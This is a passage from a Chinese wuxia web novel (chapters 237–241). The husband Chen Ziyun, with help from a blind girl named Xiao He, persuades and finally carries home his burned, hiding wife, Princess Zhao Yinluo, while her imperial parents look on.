小荷总是起得很早,不是说她睡眠不好,恰恰相反,也许是老天爷给的福利。 让她见不到光明的同时却给了他对于黑暗的熟悉,在完全黑暗的睡梦里,她总是不需要睡多久,就能补充好一天的消耗。 所以,每次小荷总是比赵茵萝要先苏醒。她利落的给已经快熄灭的火堆添上柴,把一个用来烧水的瓦罐放在上面。 动作熟练的,让人完全看不出她是一个天生的盲女。 或许是天生的敏锐感知,也或者只是从小不断的练习让她习惯了在黑暗中看清一切。 等她舀了一些温水,给自己洗漱之后,正要帮赵茵萝也烧一罐,却发现昨天打好的水盆里的水已经不多了。 正常情况,这些需要步行一段距离的事情,都是赵茵萝去做的。毕竟她一个盲女,还是一个小孩子,就算感知再敏锐,赵茵萝也不会放心她走远的。 可这次,也许是因为昨晚赵茵萝去见了故人,这让小荷心里有了些不安。她小小的心思里琢磨着,要是自己能表现的更有用些,也许自己姑姑就不会离开她了。 所以即使这盛水的水盆柜对她一个小孩来说并不轻,即使可能自己在路上会被石头绊倒。小荷还是拿起了水盆,朝着屋外小心的走去。 安全的走下两节茅屋门前用青石垒砌的台阶,这对于小荷来讲并不算什么。她在第一天到这里的时候就把茅屋周边摸了一遍,而被她摸过的地方,她都能清晰的记着。 前面有个小坑,小荷默念着,然后稍微往右侧绕了一步。 五步之后,是个缓坡。 小荷暗暗的脚尖用力,以免下坡的时候滑下去。 左边是树林,右边是小溪的方向,赵茵萝曾经带着她走过一次。虽然通往小溪方向的路上,有不少的石子,隔得她脚底板痛。 可如今她已经有了一双好鞋子,不用赤脚走在石头上面了,不会有多痛的。 小荷给自己暗暗打气,然后就打算往右走了。 “咦。” 小荷有些奇怪的发出了一声惊叹。 “左边的那颗片树林,怎么又长出了一个大树?” 陈子云看着那个朝自己看过来的小女孩,明明那双眼睛这么的美丽,对自己所在却视而不见。 因为怕惊动里面的赵茵萝,陈子云到了茅屋外面之后,只是隐藏在附近的树林里。 那小女孩只是朝着自己这边张望了片刻,就朝着另一边去了,陈子云有些不解。 即惊讶于对方能察觉到自己的所在,可同时更惊讶为何对方又看不见自己。 其实在山林间找过人的都知道,最难的是确认一个人的方位。因为四周都是类似的环境,很容易就让人只能见山,不能见人。 而一旦确认了人所在的方位,在稍稍集中注意力看下,自然能在树木之间分别出人与自然的不同。 而陈子云之所以敢大胆的站在树林之间,是因为他肯定,一般人是不会直接发现其中的不对,以至于用目光搜寻的。 可这个小女孩的表现却完全的出乎了他的意料。昨天陈子云跟过来的时候,也发现了赵茵萝不是一个人,只是不确定里面还有谁。 如今看,赵茵萝在这样的情况下都能带着这个小女孩,必然是重要人物。 陈子云思索片刻就跟了上去。 小荷快速的走过了前面一段算是相对平坦的路,这也是她记忆中比较清晰的。 作为一个全靠自己的印象走路的人,一般人是无法想象其中的艰难的。 要是换成正常人,就算是闭上眼睛走上几步,都会体会到由于黑暗和不确定带来的无限恐惧。 小荷能这般安然平稳的走过,实在是不容易。 可到了那段硌脚的河滩,小荷也不由得皱起了眉头,显然她还记得当时她跟着赵茵萝走这段路时的坎坷。 不过她终究还是没有停下来,当第一步踩在密集的鹅软石上,那种透过鞋底作用在她只能脚掌上的锥刺感,还是让她不自然的抖了抖肩膀。 一步,两步,三步,起先的几步小荷走的相当的缓慢,也是为了让脚掌在适应这样的路况。 等挨近了小溪的时候,小荷也已经适应了这种有些扎人的脚感。 哗哗流过的水声,在她的感官里特别的清晰,嘴角也不自觉的露出了微笑,终于到了。 她不是一个无用的瞎子,等自己打了水回去,姑姑肯定会更喜欢自己的,就算姑姑有自己的亲人,也不会再丢下自己了吧。 小荷又往前走了两步,她知道越靠近小溪,自己就要越发的小心,在她记忆里,水边的石头总是滑滑的。 要是不小心踩中这样的石头,又用力太猛,身体就会不受控制的摔倒。虽然她不理解为何会这样,但是生活的经验告诉她,小心为妙。 第二百三十七章 姑丈 一步,两步。 她的脚尖已经触到了丝丝的凉意,虽然已经开春,可溪水依旧寒冷。 小荷小心的蹲下身子,摸索着找了一个比较平坦的地方,先将水盆放下,然后匍匐着寻找适合打水的地方。 摸索中,溪水还是难免的打湿了衣袖,虽然湿漉漉的很难受,但是小荷并没有退缩。在垫着脚往前探出半个身子之后,终于找到了一个能将水盆放下去的深水坑。 小荷先把水盆往前移了半步,然后自己也跟着往前,鞋子已经踩进了溪水里,那种透着骨子的凉,顺着脚底侵入全身。 小荷斜着水盆,将它放进深水区,然后一点点的往下方,她不能放得太快,因为那样会容易把水搅浑,泥沙会一起进入水盆。 虽然可以靠静置让泥沙沉淀下来,但是小荷不想让姑姑觉得自己连这点事情都做不到最好。 水顺着溪流,很快就注满了水盆,小荷开始缓缓的提水。 可这时她才发现,原来自己即使装满了水也能勉力提起的水盆,如今却是怎么也提不起来了。 小荷不知道是怎么回事,心里有些惶恐,可要是她就此放开水盆,那这茅屋中唯一的水盆势必就会沉入小溪,她这趟打水就是彻底的失败了。 死命的捉住已经不是她这小身条能承受的水盆,眼睁睁的看着在溪水的冲击下,水盆从她的只见缓缓的下滑。 不要,不可以,要是水盆没了,姑姑也肯定不要我了。 小荷的眼泪从她那双从来不曾光明的眼里不断的流出,跌入冰冷的溪水里。 可该走的终究没法挽留,就算小荷已经不顾危险的将整个人都快探入了深水坑里,那水盆还是滑出了她的手指。 “呜呜呜……” 小荷再也忍不住哭泣了,她就算再坚强,也不过是一个不到十岁的小女孩。她受过的委屈,实在是积累的太厚了些。 一旦触及到一个能够让她爆发的点,宣泄出来的情感自然比一般人更加的剧烈。 忽然间,小荷感觉自己整个人都飞了起来,自己的腰腹之间好像有一股神奇又温暖的力量将她托离了溪水。 随后传来的触感,让她有些惊讶,是一只手,而且不是姑姑的,姑姑的手是纤细,而这只手却大了许多。 她没有像一般小孩子那样的叫喊,虽然心里害怕,可她更担心给自己姑姑带来麻烦。 “我帮你打水,你也帮我一个忙好吗?” 声音很温柔,不知怎么的,小荷觉得跟姑姑的声音有点像。就算姑姑的喉咙总是嘶哑的,而这个人是清澈的,可她就是觉得很相似。 “你是姑姑的亲人吗?” 小荷的这个问题,倒是让陈子云惊讶了,不知道这个似乎眼睛有问题的小女孩是怎么知道的。 “是的。” “那你是想让姑姑留下来嘛?” 陈子云没想到这个小女孩似乎有看透人心的能力。 他不由得将小女孩带离小溪后,静静的看着她。 一双眼睛,明亮,透彻,甚至有些直视世间本质的魔力。要是说,陈子云以前还在谁身上见过,那这世界就只有王重阳了。 而且还是对方练成先天功之后的效果,就仿佛是回到了先天母胎之中的,精气神完备状态下的眼眸。 “你是自己看出来的吗?” 陈子云问道。 “不是啊,哪个人不想把亲人留在自己身边呀?” 小荷纯真的问道。 “是啊,可这世间的人,总是看不清,你的那位姑姑如今也是如此。” 陈子云倒是有些喜欢这个女娃了。 “不,不是的,姑姑才不会,她只是不想连累你们而已。“ “哈哈哈,你姑姑啊,还没你聪明呢。” 陈子云道。 “不……不要这么说姑姑。你……你到底是姑姑的什么人呀?” 小荷似乎也感觉到了陈子云的友善,就大着胆子的问道。 “我吗?你既然叫茵萝姑姑,那你就应该叫我姑丈了。” 陈子云道。 “啊!你是……” 小荷本来那因为泡了溪水而冷的有些惨白的脸瞬间布满了红云,十来岁的女孩儿早就不是什么都不懂的年纪了,可那一声姑丈终究是没能叫出口。 陈子云一手抱着小荷,一手提着那个从小溪里捞出来的水盆,重新往茅屋方向走去。 “小荷,小荷……” 是赵茵萝醒来后发现小荷不见了,正在焦急的寻找。 “姑姑,姑姑,我在这里……” 小荷的回应,让陈子云两人都暴露在了赵茵萝的视野里。 当赵茵萝看到陈子云的一瞬间,她下意识的就想着要逃避,可陈子云怀里抱着的小荷让她犹豫了片刻。 “你要是敢走,我就杀了这个小女孩。” 陈子云轻巧的说着,却吓得怀里的小荷瑟瑟发抖。 “我不信。” 赵茵萝自然是了解陈子云的,他不可能做出这样的事情。 “姑姑,你快走,别管小荷。这个坏人刚才还骗我说,他是姑丈。坏人,坏人……” 小荷举起两只小手劈头盖脸的就往陈子云头上打去。 现在的陈子云一只手抱着他,一只手还提着水盆,完全无法抵挡这样的少女拳法,只能任凭那不比春笋嫩多少的拳头落在脸上,鼻子上。 赵茵萝似乎也被从小荷嘴里吐出的姑丈两个字弄的有些手忙脚乱,一时不知道该如何解释。 直到看到小荷已经一口咬在了陈子云的脸上,才慌忙的制止。 “小荷,别,他……他是你的姑丈。” 尽管赵茵萝的声音轻的跟蚊蝇一般,却是一字不落的都落进了两人的耳朵里。 陈子云咧着嘴无声的笑了笑,小荷则是愣愣的,终于是松开了咬着陈子云脸颊的小嘴,一条口水拉成的丝线还晃悠悠的挂在那里。 陈子云也不管它,就这么一手抱着发呆萌萌的小荷,一手提着那个不值一钱的破水盆,缓步靠近赵茵萝。 赵茵萝在那里很是踌躇,一面是不想陈子云看见自己的丑陋摸样,一面又想立刻就躲进他的怀抱里诉说苦痛。 两种矛盾的心情,让她整个人儿在那里摇摆不定。 陈子云自然看出了赵茵萝的犹豫,知道如果他这样强行过去,肯定会让对方反应激烈。 第二百三十八章 爷爷奶奶 于是陈子云在小荷的耳边轻轻道。 “小荷,帮帮姑丈,让姑姑留下来。现在你姑姑的伤势必须要经过正确的治疗,才有希望恢复。” 小荷瞪大了眼睛,惊讶极了,看看陈子云,又看看赵茵萝。 她虽然眼睛看不见,却能清楚的感受到两人的状态。 对于自己这位捡来的姑姑,她也知道,对方到底是受了何种程度的伤势。以至于初见她的时候,每个晚上都会被身上的伤生生疼醒。 可当小荷每次问她,赵茵萝总是摇摇头,说自己没事。 赵茵萝不知道的是,小荷虽然看不见,却能在每一次与她的接触中,清晰的感受到,那被藏在一宽大袍子下面的身体是何种的痛苦。 “姑……丈。” 小荷学着陈子云的摸样,将自己的小嘴巴凑近了陈子云的耳边,可因为第一次这么亲近的称呼,让她还是有些羞涩。 “我要怎么跟姑姑说呀?” 陈子云笑了笑,因为他知道,不管他们两人的话语声多小,都不可能瞒得过赵茵萝。 你看,此时的赵茵萝不正有些扭捏的僵在那里吗。 “小荷,你现在饿吗?” 陈子云轻声问道。 小荷自然的咽了一口,有些害羞的点点头。 “那你现在最想吃什么?” 陈子云问道。 “……” 小荷瞬间就想到了,那种热乎乎的,拿在手里软软的,暖暖的,咬一口就让人满足的,吃一个就让自己好饱的肉包子。 可她在有记忆以来,也就是赵茵萝带着她去街上买过这么好吃的东西,那时候姑姑还被人说是怪物。 所以,自从那次以后,不管小荷自己有多喜欢吃包子,她都没再说过,宁可跟着姑姑在山林里吃一些烤焦的鱼儿和番薯。 “小荷喜欢吃包子。” 这话却是赵茵萝帮她讲的。其实对于这个朝夕相处了一个月的小姑娘,赵茵萝如何能不知道对方的喜好与个性。 自己因为当时无法面对世人的眼色,所以只能带着她躲进深山老林。可当时这个小女娃吃到第一口包子时的开心摸样,她是永远都不会忘记的。 也是因为那一幕,才让赵茵萝笃定,即使自己有再多的苦痛,也要带着这个可怜又可爱的小女娃。 “姑姑……” 小荷温情的呼唤了一声。 陈子云心里也松了一口气,这事要成了。 “茵萝,茵萝,我可怜的妞妞啊……” 赵茵萝听到这声呼唤,就像是老鼠出洞突然见到守在门口的猫似的,直接一个起跳,就上了茅屋的房顶。 “茵萝,等等。” 眼看着赵茵萝就要逃离,陈子云也直接向前冲了几步。 可这一行为落在赵茵萝的眼里,直接就让她下定了离开的决心。 一个跳跃,就往深山里扎去,陈子云连忙跟上,可他此时毕竟还抱着小荷,如何能快的过一心想要走的赵茵萝。 “红衣,快追。” 这是宋宁宗的声音,那刚才那声有些破音的呼唤,自然就是那位见到自己女儿,惊喜交加不能自已的韩皇后了。 一袭红衣,直接掠过陈子云的头顶,朝着赵茵萝的方向而去。 陈子云瞥了一眼已经来到近处的宋宁宗夫妇,把小荷放在茅屋台阶上。 “娘娘,帮我照顾她,她是茵萝带回来的侄女。” 陈子云说完就直接越过了茅屋,追入了山林。 宋宁宗扶着已经半个身子靠在自己肩上的韩皇后,一面接过那位跟着来的御医递过来的救急药丸,正要给皇后服下。 谁知道,韩皇后在听到陈子云的嘱咐后,似乎又重新找回了一些精神,竟然依着宋宁宗快步的来到了小荷的面前。 “真像啊,孩子,你跟妞妞小时候一样,一样的那么瘦,那么让人心疼。” 韩皇后亲切的拉住小荷有些不安的小手。 “别怕,孩子,我是你姑姑的娘娘。” 小荷对于刚认了个姑丈还没缓过神来,不知怎么又出现了个奶奶。 可相比于奇奇怪怪的姑丈,她对于这个声音更像姑姑的奶奶更加感到亲切。 “奶奶,小荷给您磕头问安。” 小荷突然在茅屋的台阶上朝着韩皇后就是结结实实的一拜到底。 这让韩皇后有些反应不过来,她做梦都想自己的妞妞能给她生个孙子孙女,有个小娃娃能喊她奶奶。 可由于陈子云跟赵茵萝结婚五年都不曾生子,她也就只能把这份期望藏在了心里。 如今被这个自己女儿带来的小女娃这般的称呼,一时间似乎自己多年的心愿就这般突兀的达成了。 “可不止有奶奶呢。小荷,我听子云是这么称呼你的,我是你姑姑的父亲,你就叫声爷爷吧。” 宋宁宗不知为何也插了进来。 小荷先是有些发愣,因为刚才事发突然,她并没有仔细感觉周围来了这些人。 宋宁宗的突然开口,才让她注意到,原来本来自己与姑姑居住的茅屋前,竟然还有三个人。 “小荷给爷爷问安。那这位也是姑姑的亲人吗?小荷该怎么称呼您?” 小荷将头朝着御医在的方向问道。 “哦,不敢,不敢。小人只是你姑姑的仆人,算不得亲人,不用行礼了。” 御医连忙制止道。 小荷却是依旧行了礼,这让御医顿时有些坐蜡。 “听您的声音,应该是位老人家了,就算您不是姑姑的亲人,应该也是姑姑的熟人了,况且您这么大年纪,小荷应该给您行礼的。” “好孩子,好孩子呦。” 御医连连赞叹道。随后在宋宁宗的耳边轻声耳语了一句,让后者很是不相信。 “老爷爷,没关系的,小荷虽然眼睛看不见,耳朵可灵着呢。您看,您这么小声跟爷爷奶奶说话,小荷都听到见。” 小荷咧着嘴笑着说道。 韩皇后直接一把就把瘦弱不堪的小荷拉进了怀里,丝毫不介意小荷那明显还湿哒哒的衣服沾染了自己的衣袍。 “苦命的孩子啊。” 韩皇后吊着眼泪呼喊了一句,也不知道是为小荷,还是想起了自己的女儿曾经受多的苦难。 “有办法医治吗?” 宋宁宗也是带着几分不忍之色,问了问御医。 “陛下,如果只是看这位姑娘的眼睛,臣并未看出有什么外伤。可眼睛本来就是最不好医治的地方,老朽也并不善于此道。 不过御医院中的刘御医倒是深知其中三味。” 御医缓缓道。 宋宁宗点点头,他也不过是一时之间不忍心而已,而且对方是茵萝带回来的,那如果能帮她治伤,说不定还能是个留下茵萝的办法。 …… 第二百三十九章 红衣的反应 赵茵萝刚才被韩皇后的哭喊声一刺激,也不知道为何她就慌不择路的跑了。也许在内心深处,除了陈子云,她最不想面对的就是从小对自己无微不至的娘娘了吧。 自幼就体弱多病的赵茵萝,已经不记得韩皇后在自己的病榻前守候了多少个不眠之夜。 而在这些夜里,每每赵茵萝醒来总能见她在独自抹泪。 这样的哀伤神情,甚至比那些让赵茵萝浑身难受的病疼还折磨人。疾病带来的痛苦是有时间的,而这样的疼惜,却是要永远留在她心间的。 尤其是这些年,跟着陈子云学了更广博的知识之后,更加清楚,韩皇后在照顾自己的那些年里,到底付出了什么。 那不是嘴上说说的关爱,那是实实在在的心血啊,为了自己的病情,自己的娘娘简直是在用自己的生命置换。 好在这些年,在陈子云的帮助下,以及自己身体的好转,让韩皇后也跟着恢复了些。 否则按照御医的说法,自己的这位娘娘,说不得早就该撒手人寰了。 她欠韩皇后的不单单是生养之恩,更是永远还不清的亏欠啊。 所以相比于不想让陈子云见到自己这般的丑陋摸样是因为难堪,而不让韩皇后见到自己这般摸样,则是不希望她再为自己付出哪怕一滴眼泪。 “公主殿下,还请留步,陛下请你。” 一袭红衣在赵茵萝愣神之际迅速的来到了她的前面。 红衣站在赵茵萝前行方向的一颗岁月悠久的古树上,宽大的红袍随着脚下的树枝微微的飘扬,从远处看去就如一条红丝带挂在树梢的摸样。 “你是谁,为何我从未在宫中见过你?” 赵茵萝依稀能看出对方应该是内侍,那种与常人两样的气质是无法模仿的。 可这样的一个老人,自己在宫中住了将近二十年,却从来不曾见过,这如何不让她不疑惑。 “公主无需在意老夫,无名无姓之辈,自然不在人前现眼。“ 红衣面无表情的说道。 赵茵萝皱眉,眼神不断往四周飘动,正在找寻最合适的方位离开。 可随即出现的一个身影,让她彻底放弃了这份打算。 “老前辈,不单单是茵萝好奇,其实我也想问问,每次进宫都能察觉的前辈的存在,却一直缘悭一面,实在是让晚辈遗憾的很。” 原来是陈子云这个时候也追了上来,与红衣前后夹着赵茵萝,这样一来,不论她想往哪里跑都变的不可能。 “驸马爷抬举了。” 红衣不咸不淡的朝着站在下方的陈子云微微点头,那态度绝对不是一个普通的宫中老内侍该有的。 “茵萝,跟我回去吧。” 陈子云并没有纠结于红衣是身份,此时最紧要的是将赵茵萝带回去。 赵茵萝那本来在陈子云到来之后,下意识低下的头颅,有些倔强的抬起。朝着他微微摇头,就算陈子云只能看到那双含泪的眼,也能猜到那头套下紧紧抿着的双唇。 “难道你这么快就把我交给的实战第一课给我忘了吗。敌人越是强大,你的眼睛就越要直视对方。 真正的高手对决,在你低垂你的双眼的时候,就已经注定了结局。 如今面对你自己也是一样,敌人可以打败,可最难的就是战胜自己。你看看如今的你,却连正视自己都做不到,何来战而胜之一说。” 陈子云正色道。 可赵茵萝依旧只是倔强的吊着眼泪,一声不吭。 “茵萝,你竟然昨夜能来见我,那为何不去见见那个因为已经霜染两鬓的父亲,以及那个听到你的消息之后,几度晕厥,却依旧要来寻你的母亲。 你这般的避而不见,如此残忍的对待这对最关心的你的至亲,于心何忍?” 陈子云见赵茵萝如此,只能搬出宋宁宗跟韩皇后了。 赵茵萝此时已经泣不成声,甚至浑身都开始不由自主的颤抖起来。 陈子云借此机会一步步缓缓靠近。 他是打算趁着赵茵萝无暇他顾,先一举拿下她,就算是绑着回去也好比让她一个人在外面。 可就在陈子云离赵茵萝就剩几步之遥的时候,赵茵萝忽然之间就反应了过来。 “别过来。” 赵茵萝沙哑的嗓音也变得尖锐,手上更是出现了那把名为红豆的小刀。 不过这把刀不是指向陈子云的,而是抵在了自己的脖颈上。 可陈子云宁更赵茵萝是拿刀指着自己,起码自己更有把握夺下刀来。 “茵萝!” 陈子云有些愤怒的轻喝了一声。 “子云师傅,求求你,别逼我了,我真的还无法面对你们。” 赵茵萝无力的哭诉着。 “为什么,就算不见我,难道你连他们也见不得吗。这世间难道还有什么人,比他们更加关怀你吗?” 陈子云道。 “爹爹,娘娘,是妞妞不好,是妞妞自己懦弱、无能……” 赵茵萝哭诉着道。 “就因为自己被烧伤了,就觉得没脸见人了?” 陈子云终于还是选择直接挑明。 赵茵萝先是楞了一下,下意识的去摸自己头套里的脸。 “你不懂的,你别过来。” 陈子云只好收住了刚跨出的半步。 “前辈。” 陈子云突然朝着正想从后方靠近赵茵萝的红衣喊了一声。 赵茵萝戒备的跳到了另一个方位。 红衣满是怒气的瞪了陈子云一眼,责怪对方让他失去了一个好机会。 对于红衣而言,公主也好,驸马也罢,在他看来,不过是宋宁宗要求他完成的任务对象而已。 在关键时刻,他绝不会因为对方的身份而犹豫分毫。 可是明明刚才是最好的机会,由陈子云在前面吸引注意,自己从后面发动,瞬间就能制服赵茵萝。 只要他能交了宋宁宗的差,至于后面会如何,就不是他要操心的了。 所以就算是赵茵萝如今这般用自残的方式胁迫他,红衣也并不想就此收手。 一来是他不信,身为金枝玉叶的赵茵萝会真的如此冲动;二来就是对自己武功的绝对自信,尤其是在速度方面,他自问就是那些江湖上所谓的绝顶高手自己也绝不比人差。 第二百四十章 自伤 所以看着不过砸五步之外的赵茵萝,这位奉命来捉拿公主的老内侍,竟然就这么直接冲了过去。 赵茵萝完全没有想到,这个老内侍竟然会这般不将自己是以死相威胁放在心上,一时间竟然也忘了反应。 红衣心里暗笑,果然不出他的所料,赵茵萝作为娇生惯养的公主,就算学了通天的本事,也难以在突发的状态下,发挥出一二来。 不知为何,红衣此时的心里有着几分满足,也有着几分对赵宋皇室的不耻。 可就在他的手掌就要扣住赵茵萝的手肘的时候,一道凌厉的劲道直接打在了他的肩头。 “啊呀!” 一声尖锐的惊叫。 就算是自负功力不差天下人的红衣,也是只能忍痛而退。 “驸……马……爷。” 红衣差点就要把他两排保养的洁白的细牙给咬碎了。 “前辈,我见你是宫里的老人才尊称你一声。但是在一位丈夫面前,不打招呼就对他的妻子动手,你让我如何能容你。” 陈子云眼神带着丝丝的冷意盯着这位面色阴柔的红袍内侍。 红衣被陈子云气的双手发抖,在一个内侍面前提这些夫妻恩爱的话语,这不比直接打他脸面还要羞辱人。 拳头在背后捏的咯咯响,可要是在这里跟这位驸马爷动手,那他必然无法向宋宁宗交代。 所以红衣只能愤愤的甩了甩他宽大的袖袍,一个转身退回了远处。显然在任务没有彻底完成之前,他是不会离开的。 既然陈子云阻止了他的出手,那就算最终赵茵萝没有被他带回去,他也有了跟宋宁宗交代的办法。 陈子云见红衣已经退到了一边,也就没有再管他,而是神色凝重的看着赵茵萝,以及那把还抵在她喉间的红豆小刀。 他似乎一直都忽略赵茵萝对自己容貌的重视,本以为她不过是一时的没法接受,可如今的情况看来似乎要严重的多。 在陈子云眼中,从来都没有在意过赵茵萝的姿色是否靓丽,对方却是这般的在乎自己的看法。 历经了几个世界,虽然他一直都没有去深参佛法,但是对于见多了世间变换,红颜白骨的陈子云来讲,所谓的美人,已经越发的像着骷髅靠近了。 既然是这样的…… 一道犹如刀锋一般的指劲直接划过了陈子云的左脸,分毫不差的斜穿过他的眉心,从右脸的眉尖划出。 这一突兀的举动,不仅让赵茵萝惊叫了一声,就连在远处观望的红衣也是浑身一抖。 一道樱红色在陈子云的脸上缓缓浮现,逐渐朝着深红转变。那一颗颗从伤口里觅出来的血珠,开始沿着陈子云的脸颊滑落,在这有些静谧的气氛里,显出几分诡异来。 “你做什么,你做什么啊!” 赵茵萝急的似乎连陈子云的名字都忘了,哪里还顾得自己用刀抵着自己。 直接就一把抱住了陈子云,可又怕太用力将他的伤口撑开。 “御医……御医。” 赵茵萝本能的四顾,似乎想在这旷野里找到一个可以为陈子云治疗的御医。 红衣也是连忙赶了过来,自己要把赵茵萝带回去是任务,可要是看着陈子云这位驸马爷毁容而无动于衷,他那位宋宁宗老丈人如何能答应。 “你干什么?!” 赵茵萝警觉的盯着想要靠过来的红衣,下意识的认为他要对陈子云不利,毕竟刚才陈子云可是给了他一下的。 “哼。” 面对赵茵萝的防备,红衣冷哼了一声,刚才那点刚刚生起的好心肠也就荡然无存了。 “现在能让我看看你的伤势了吗?” 陈子云道。他脸上的伤看着有些唬人,其实也不过是皮外伤,毕竟他只是为了表明态度的,又不是要自虐。 赵茵萝下意识的抓住了自己的头罩。 “不,不,现在你还管我做什么。” 赵茵萝摇着头。 “对了,刚才我好像看到跟着娘娘他们来的那个人,应该是一位御医,你赶紧去找他,让他给你看看伤啊。” 陈子云也摇着头,可随着他这样的晃动,那本来在脸上缓慢下流的血液,却是划出了几道弯弯曲曲的路径,让他瞬时成了花纹脸。 “那我再划一道,想来也能对称不少。” 陈子云说着就举起自己的右手,朝着自己的右脸比划。 赵茵萝一把抓住了陈子云伸出的那两根手指,激动的牢牢的握着。 “你不要这样,不值得的,为什么要这么对自己!” “那就跟我回去。“ 陈子云从来没有对赵茵萝用这样的命令式的语气过,就算是在刚开始教她功夫的时候,也是本着快乐主义的教学模式。 可赵茵萝只是抓着陈子云的手指,低着头,焦虑的小脚不停的在地上踩着杂草,可嘴里终究没能给出一句肯定的话。 “哎……” 陈子云似乎是无可奈何的长叹了一声。 赵茵萝连忙抬头,以为是陈子云终于体会她的处境,不再为难自己了。 可随即,那两根稍稍脱离了赵茵萝掌控的手指,就直接点在了脖颈与肩胛相连的一处要穴上。 在赵茵萝不可置信的眼神中,自己的身体缓缓的靠在了陈子云的怀里,随后被对方轻巧的抱起。 “丫头,可是轻了不少。” 那本来要冒出火来的漂亮眼睛,一瞬间就被无尽的委屈所掩埋了。轻轻的抽泣声,在陈子云的怀里响起。 “看了几本书,跟着学了几年皮毛功夫,就觉得自己什么都能扛得起了。” 陈子云说着还在赵茵萝的大腿外侧轻拍了一记,就像是一个父亲在教训犯了错的闺女。 赵茵萝又羞又怒的瞪了陈子云一眼,这样亲切的举动,就算是在成婚来的几年里,也是少见的。 可她也就能这般表示不依了,此时的赵茵萝浑身上下也就五官还能用得上力气,骂又舍不得,只能靠眼睛瞪了。 红衣站在远处,看着这对不知为何又突然开始秀恩爱的小夫妻,差点没把自己的肺给憋炸了。 也不知道宋宁宗这是什么意思,这看着不过是小夫妻两吵架的事情,为何要把他这个内侍找来。 红衣下定决心,以后除了保护皇帝之外,其余事情绝对不能再接手了,这不但违背历代红衣传下来的规矩,更是给自己找罪受。 …… 第二百四十一章 回家 等陈子云抱着赵茵萝回到了茅屋前,最先发现的却是盲人小荷。 “姑姑,姑姑,是你回来了吗?” 小荷的叫唤,让宋宁宗夫妇也反应了过来。看到陈子云这般摸样的抱着赵茵萝,都以为是她出了什么问题,神色都变的有些惊恐。 而且,此时的陈子云脸上又是那般的卖相,宋宁宗甚至是以为刚才两人大打出手,最后两败俱伤了。 “子云,你的脸,茵萝,你别吓娘娘啊!” 要不是宋宁宗扶着,韩皇后差点就又没晕过去。 “姑姑,姑姑,你们怎么了?” 小荷也被韩皇后的语气给吓着了,她毕竟只能感觉到人的靠近,看不到人们的详细状态。 御医连忙上前,就要帮两人查看伤势。 “皇后不用担心,茵萝没受伤,只是她不愿意跟我回来,被我点了穴道而已。” 陈子云道,他能清晰的感觉到,在听到韩皇后的担心之后,怀里的赵茵萝身体在微微的颤抖,可她的脑袋却始终不肯移出自己的臂弯。 正如赵茵萝所说,她实在是不敢面对韩皇后,生怕自己的摸样,会让自己这位为自己担心了半辈子的娘娘受不了。 “那你的脸是怎么回事,赶紧让御医看看。” 宋宁宗说着用眼神暗示了一番御医。 御医颔首,又朝着陈子云行了个礼,表示自己君命难违之后,就掏出一块类似纱布的东西,小心的给陈子云清理起来。 陈子云这次倒是没有拒绝,毕竟脸上的血液经过这么些时间,开始慢慢结痂,也让他脸上有些绷着难受。 那块不知道参合了什么东西的纱布,清理起血迹来到时干净利落,有点一擦净的意思。 就算是划过自己的那道伤口,也只是能感觉得丝丝的凉意,并没有疼痛感,果然不愧是皇宫里的出来的,就凭这一手,就足够一个民间的医者吃一辈子的了。 “驸马爷这伤似乎不是他人所为?” 御医轻声问道。 陈子云点点头。 “让您费心了。” “诶,不敢。驸马爷这伤势本来就不重,下官此时也就能这般的处理。按下官的观察,驸马爷这伤到不难治,难的就是在以后不留疤痕。 不过驸马爷不用担心,御医院里,有专门擅长此道的御医,待回宫年后自然可以妥善处理的。” 御医解释着。 陈子云倒是不怎么在意,本来他就知道,自己的外貌算不得好看,只是因为自己读书练武,才有了几分不凡的气度。 自然也就对这面皮上的东西不会过分在意,在他看来,面皮上这一刀,跟在自己手背上划一刀,本质上并没有什么不同。 “那御医院里,可有擅长医治烧伤的?” 陈子云的这个问题,让怀里的人瞬间绷紧了身体。 “这个自然也是有的,要是一般的烧伤,下官就能治。不过烧伤最好是当场的急救,要是拖的久了,这疤……” 御医本来是想继续阐述自己的绝佳医术的,却被陈子云的眼神给制止了。 陈子云明显感觉得,赵茵萝的指甲已经嵌入了自己的皮肤里。 “陛下,娘娘,这一趟下来,茵萝好像累了,我先带她回家,等安顿好了,再进宫里去拜见。” 陈子云朝着宋宁宗使了个眼色,让他拉住有些激动的韩皇后。 在得到宋宁宗的首肯之后,陈子云朝着小荷走过去,将自己的衣角递到她的手里。 “跟你姑姑回家。” “嗯。” 小荷死死的抓住陈子云递过来的衣角点点头道。 “妞妞……” 韩皇后颤巍巍的呼唤了一声,却只能看着陈子云将自己的心肝宝贝带走。 “好了,有子云在,你还怕委屈了妞妞不成。” 宋宁宗搂着韩皇后安慰道,跟在一边的御医使了个眼色,让对方跟着陈子云夫妇一起去。 ……陈子云作为牛家村最瞩目的大善人,一进村自然被所有人时刻关注着,看见他抱着一个奇奇怪怪的不见头脸的黑衣人回家,自然是议论纷纷。 不过好在,陈子云的威严,让他们只敢远远的看着,偶尔有凑近的也是恭敬的打招呼,不敢多问一句。 按照老村长的话说,就算是陈先生真的杀人放火了,那也肯定是对方该死。牛家村的人也只能帮着填土,绝不会有人忘恩负义是说什么要大义灭亲。 要是有谁胆敢在背后说一句嚼舌头的话,那但凡是牛家村本家的人,他作为族长,直接做主,将这种白眼狼逐出族谱,永世不得回归。 要是外来的,那也别想再在牛家村待下去,他们村子小,容不得这样的只讲王法,不讲道义的人家。 陈子云当时从杨铁心口中听到这话,也就是当玩笑听听,或者是那位心思灵巧的老村长讨好自己而已。 可后面才知道,自从那位老人家发话以后,总有些村子里健壮的青年人,自发的来给陈宅大门站岗。 按他们的意思是说,为了保护陈先生不被一些宵小打搅,要是有人找陈先生麻烦,他们就可以帮着处理了,也就不用劳烦陈先生了。 当时他也就只是笑笑,看着他们认真的摸样,也只能提醒一句,不要耽误农时。 而当陈子云把赵茵萝抱进后院的第一件事,就是让今天负责站岗的那两位牛家村年轻人,帮忙把后院的门封了。 “你放心吧,后院从今往后,就我们三个人在,等到你愿意出门了,我再叫人解封。” 陈子云拍拍怀里不愿意放开自己的赵茵萝说道。 “小荷,要委屈你在这里陪着你姑姑了。” “不,小荷愿意跟姑姑在一起。只要姑姑在哪里,小荷就在那里。” 小荷来到赵茵萝的床边,摸索着握住了赵茵萝的手。 “小荷……” 赵茵萝怜惜的呼唤着。 “茵萝,我会吩咐好,让人把每日的饭食用吊篮送进来。我去东海桃花岛找黄药师,如今你既然不愿意让我看,那我就索性等我找来了黄药师。 他的医术你也是知道的,既然连当时的你,他都能想到办法,对于你现在的情况,自然也是不在话下的。” 